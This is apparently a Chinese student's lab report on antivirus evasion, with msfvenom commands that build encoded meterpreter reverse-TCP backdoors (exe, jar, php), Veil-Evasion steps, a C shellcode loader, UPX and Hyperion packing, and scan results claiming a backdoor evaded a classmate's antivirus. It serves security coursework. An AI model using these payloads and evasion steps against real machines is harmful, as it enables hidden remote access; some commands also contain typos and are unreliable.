其他分享
首页 > 其他分享> > Exp3 免杀原理与实践 20164320 王浩

Exp3 免杀原理与实践 20164320 王浩

作者:互联网

一、实验内容

1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)

1.2 通过组合应用各种技术实现恶意代码免杀(0.5分)(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)

二、基础问题回答


(1)杀软是如何检测出恶意代码的?
杀毒软件一般是通过以下三种检测方法来检测恶意代码的:


(2)免杀是做什么?

(3)免杀的基本方法有哪些?

(2)操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码

三、实验过程记录

3.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程。

3.1.1 正确使用msf编码器

 

有关msfvenom的参数与使用:

使用msf编码器,msfvenom生成如jar之类的其他文件

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -b ‘\x00’ LHOST=192.168.40.128 LPORT=4320 -f exe > 20164320_backdoor.exe

放去virscan扫描,扫出问题

改下名字重新测试

 

 

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.40.128 LPORT=4320 -f exe > 20164320 wanghao.exe

 

又是这个问题

重新改名

放入网站发现有28个软件查出问题

 

 生成.jar文件夹
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.19.40.128 lport=4320 x> 20164320_backdoor_java.jar

 

结果出现这个问题???

 

av???什么鬼?只好改名字,在测试

 

 

结果竟然只有14%的查出了病毒???运气这么好?

msfvenom生成php文件:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.40.128lport=4320 x> 20164320_backdoor.php

 

竟然只有2%?????我是不是不用继续做下去了??算了,不皮了,继续

 

使用veil-evasion生成后门程序及检测

安装veil

mkdir -p ~/.cache/wine
cd ~/.cache/wine 
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi

到现在为止还算顺利,成功下载

疯狂解压

 

 结果 到最后,在这个鬼地方卡了***半天,不管怎么调都动不了

 

找了半天,想到了一个办法

将这个文件拷贝到

这个目录下,就可以无需解压了

 试了试,成功了!

顺利进入安装界面

开始安装

安装完毕后,打开veil

结果?????

 

 

疯狂报错???到网上找了半天也没有什么有建设性的建议,最后没办法,屈服于这个鬼东西

从同学那拷贝了一个过来,继续实验

 

输入veil指令,会出现下面这个界面

 

use evasion命令进入Evil-Evasion

 

输入命令use c/meterpreter/rev_tcp.py进入配置界面

 

在主机中找到生成文件位置 var/lib/veil/output/handlers/generate

 

输入generate生成文件,接着输入你想要playload的名字:20164320

 如图所示,该文件子啊output/handlers/20164320这个位置

放入网站检测

好吧。。。。。再次修改,再上传

 

 行吧,竟然还不如之前???

半手工注入Shellcode并执行

 

unsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
此处省略
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

int main()
{
    int (*func)() = (int(*)())buf;
    func();
}


使用命令:i686-w64-mingw32-g++ 20164320.c -o 20164320.exe编译这个.c文件为可执行文件;

执行这个文件

再放入网站进行检查

.加壳尝试一下

加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。
加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。
加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
这种技术也常用来保护软件版权,防止软件被破解。但对于病毒,加壳可以绕过一些杀毒软件的扫描,从而实现它作为病毒的一些入侵或破坏的一些特性。
MSF的编码器使用类似方法,对shellcode进行再编码。

在技术上分壳分为:

 给之前的4320.exe加个壳得到sxx_upxed.exe:

火绒还是厉害呢

 

 加密壳Hyperion

 结果竟然成功了!!!!

火绒竟然没有报毒,为了防止意外我又专门扫描这个exe文件,没想到,竟然通过了!!!!

运行后门软件 监听成功

 

 

 任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

室友机子是windows7虚拟机 装了金山毒霸

我保留了用vs编译的最初c+shellcode版本,以及在此基础上加压缩壳的版本、再加加密壳的版本。一共三个版本,结果两个加壳的都被金山杀了,只剩最初的未加壳版本)

 

没有一点意外的成功了,他的金山毒霸跟假的一样,哈哈哈哈哈哈(我们所有人在那上面都能成功)

问题

1.在安装veil时遇到了很多不明的问题... 执行veil-evasion安装veil时经常会卡进度TAT
解决:参考相关博客,最后进入/opt/Veil-Evasion运行,/Veil-Evasion.py就成功啦

2.交叉编译时出现错误,最后的原因是我的kali里没有自带的minw64编译器,所以需要sudo apt-get install mingw-w64来安装。

实验感想

  这次实验着实是让我头疼了一把,只能说能成功真的是运气,哈哈哈哈哈,从老师布置实验开始,一直做到今天晚上九点四十,中间的报错和出错率有多高我已经不想再提了,不过最后竟然真的成功免杀,到现在还是有点小激动,哈哈哈哈,希望以后能多有点类似有趣的实验,从这次实验学到了不少知识

 

     

标签:exe,免杀,20164320,王浩,加壳,msfvenom,veil,wine
来源: https://www.cnblogs.com/admiuse986815/p/10633386.html